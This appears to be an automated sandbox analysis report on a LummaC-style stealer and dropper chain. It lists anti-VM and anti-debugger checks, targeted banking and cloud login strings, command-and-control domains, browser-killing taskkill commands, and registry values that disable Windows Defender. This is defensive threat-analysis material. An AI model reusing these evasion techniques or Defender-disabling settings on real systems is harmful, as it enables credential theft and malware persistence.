Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000006.00000002.2370437458.0000000000B88000.00000040.00000001.01000000.00000009.sdmp, A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe, 00000007.00000000.2328464315.0000000000DD8000.00000080.00000001.01000000.0000000B.sdmp, A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe, 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmp, 353ab0ae6e.exe, 0000000C.00000002.2826660274.0000000001348000.00000040.00000001.01000000.00000010.sdmp, 09d417a7c4.exe, 00000010.00000002.2933809518.0000000000E16000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 09d417a7c4.exe, 0000000B.00000003.2801877590.0000000005DCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, file.exe, 00000000.00000003.2184690433.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283943556.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126652942.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184381596.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2241071323.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184807186.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167800399.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184520949.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp, RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000EE4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: firefox.exe, 0000001B.00000002.3147820889.0000025579E1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 353ab0ae6e.exe, 0000000C.00000002.2828087899.00000000016B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[0;J
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe, 00000003.00000003.2301043887.000000000160B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 09d417a7c4.exe, 0000000B.00000003.2801877590.0000000005DCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 353ab0ae6e.exe, 0000000C.00000002.2828087899.000000000163E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe, 00000003.00000002.2329818033.0000000000F08000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, 00000004.00000002.2351423300.0000000000B88000.00000040.00000001.01000000.00000009.sdmp, RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357035123.00000000004B8000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000006.00000002.2370437458.0000000000B88000.00000040.00000001.01000000.00000009.sdmp, A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe, 00000007.00000000.2328464315.0000000000DD8000.00000080.00000001.01000000.0000000B.sdmp, A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe, 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmp, 353ab0ae6e.exe, 0000000C.00000002.2826660274.0000000001348000.00000040.00000001.01000000.00000010.sdmp, 09d417a7c4.exe, 00000010.00000002.2933809518.0000000000E16000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 09d417a7c4.exe, 0000000B.00000003.2802119721.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe

Code function: 3_2_05620813 rdtsc

3_2_05620813

Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe

Code function: 7_2_00C5B9A8 LdrInitializeThunk,

7_2_00C5B9A8

Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: RLX7QEJ1ATLQN8ECDIPHB.exe PID: 2680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 353ab0ae6e.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2098874752.0000000004B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.2098874752.0000000004B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.2098874752.0000000004B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.2098874752.0000000004B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.2098874752.0000000004B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.2098874752.0000000004B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.2098874752.0000000004B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.2098874752.0000000004B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.store

Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe "C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe "C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe "C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001245001\num.exe "C:\Users\user\AppData\Local\Temp\1001245001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 29af563a7b.exe, 0000000D.00000002.2894102744.0000000000D92000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000006.00000002.2370437458.0000000000B88000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: 5oProgram Manager
Source: firefox.exe, 0000001B.00000002.3029375251.0000005FD943B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: RLX7QEJ1ATLQN8ECDIPHB.exe, RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357035123.00000000004B8000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: oProgram Manager
Source: A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe, 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: HProgram Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001245001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001245001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
